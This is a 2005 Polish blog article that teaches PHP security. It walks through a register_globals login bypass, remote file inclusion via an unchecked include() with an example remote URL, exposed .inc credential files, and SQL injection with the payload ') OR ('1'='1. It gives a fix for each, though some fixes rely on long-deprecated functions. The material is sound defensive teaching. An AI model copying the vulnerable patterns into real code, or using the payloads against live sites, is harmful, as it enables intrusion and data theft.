Jacekk.info - O stronach internetowych wiemy wszystko

(Nie)bezpieczne skrypty

Jacek | 2005-10-09 17:07:40

Skrypy PHP też są potencjalną dziurą w bezpieczeństwie. Kilka często wykorzystywanych sposobów opiszę.


register_globals

to dyrektywa w pliku php.ini odpowiadająca za zamianę zmiennych globalnych (czyli $_POST['abb'], $_GET['aab']...) w lokalne (czyli $abb, $aab...). Skrypt, który jest podatny na atak właśnie dzięki tej opcji wygląda tak:

Kod
<?php
if($haslo=='dobrehaslo') {
   $zalogowano=1;
}

if($zalogowano==1) {
   echo 'Hasło poprawne!<br>
   Ważne dane to: ...';
}
?>

Skrypt wywołany z parametrem ?haslo=dobrehaslo działa zgodnie z oczekiwaniami. A co jeśli skrypt zostanie uruchomiony z parametrem ?zalogowano=1 ? Skrypt pokaże ważne dane, co nie powinno mieć miejsca.

Wystarczy dopisać na początku:

$zalogowano = 0;

aby coś takiego się nie zdarzyło.

Jeśli register_globals jest ustawione na Off, a tablice superglobalne są użyte poprawnie - problemu nie ma.


include

Linki typu pokazdzial.php?id=dzial są popularne. Twórcy zapewne nie trudzili się zbytnio i po prostu wklepali:

Kod
<?php
include($_GET['id'].'.php');
?>

Proste, a zarazem jakie niebezpieczne!

Przykładowe niebezpieczne wywołanie:

pokazdzial.php?id=http://przyklad.pl/mojkod

Jeśli ustawienia PHP są "sprzyjające" (włączone allow_url_include) to PHP wykona kod umieszczony na stronie http://przyklad.pl/mojkod.php

Co to oznacza? Możemu usunąć całą stronę (np. umieszczając funkcję unlink() w pliku mojkod.php). Jak się zabezpieczyć? Sprawdzać otrzymywane dane:

Kod
<?php
if(!ctype_alnum($_GET['id']))
   $_GET['id'] = 'glowna';

include($_GET['id'].'.php');
?>

Błędy

Raportowanie błędów w połączeniu z umieszczaniem plików .php pod rozszeżeniami .inc lub .class nie jest bezpieczne. Często umieszcza się tam loginy i hasła do bazy danych itp.

Co zrobić? Przede wszystkim używać rozszerzenia .php dla skryptów. Ewentualnie blokować dostęp do plików z innymi końcówkami np. używając plików .htaccess

Kod
<Files ~ "^\\.rozszerzenie">
   Order allow,deny
   Deny from all
</Files>

Polecenia SQL

Ostatni podrozdział poświęcę wykonywaniu poleceń SQL i atakom SQL Injection

Na czym polega SQL Injection? Chodzi o zmianę zapytania w sposób korzystny dla atakującego. Przykład:

Kod
<?php
mysql_connect('host', 'user', 'pass');
mysql_select_db('baza');

$wynik = mysql_query('SELECT * FROM
   `zwykle_i_wazne_dane` WHERE
   (`typ`=\\'zwykle\\' AND `id`=\\''.$_GET['id'].'\\')');
?>

Niby zwykłe zapytanie, ale wykonane poprzez

?id=5') OR ('1'='1

zmieni zapytanie w

SELECT * FROM
   `zwykle_i_wazne_dane` WHERE
   (`typ`='zwykle' AND `id`='5') OR ('1'='1')

pokazując przy okazji wszystkie (nawet ukryte) dane.

Zabezpieczenie? Filtrowanie danych lub zamiana $_GET['id'] na mysql_real_escape_string($_GET['id'])



© by Jacek Kowalski Sponsor: poszukiwany

Menu

Strona

Artykuły

Skrypty PHP

Przydatne kody

Wstawki

Informacje

Poprawny XHTML 1.1

Linki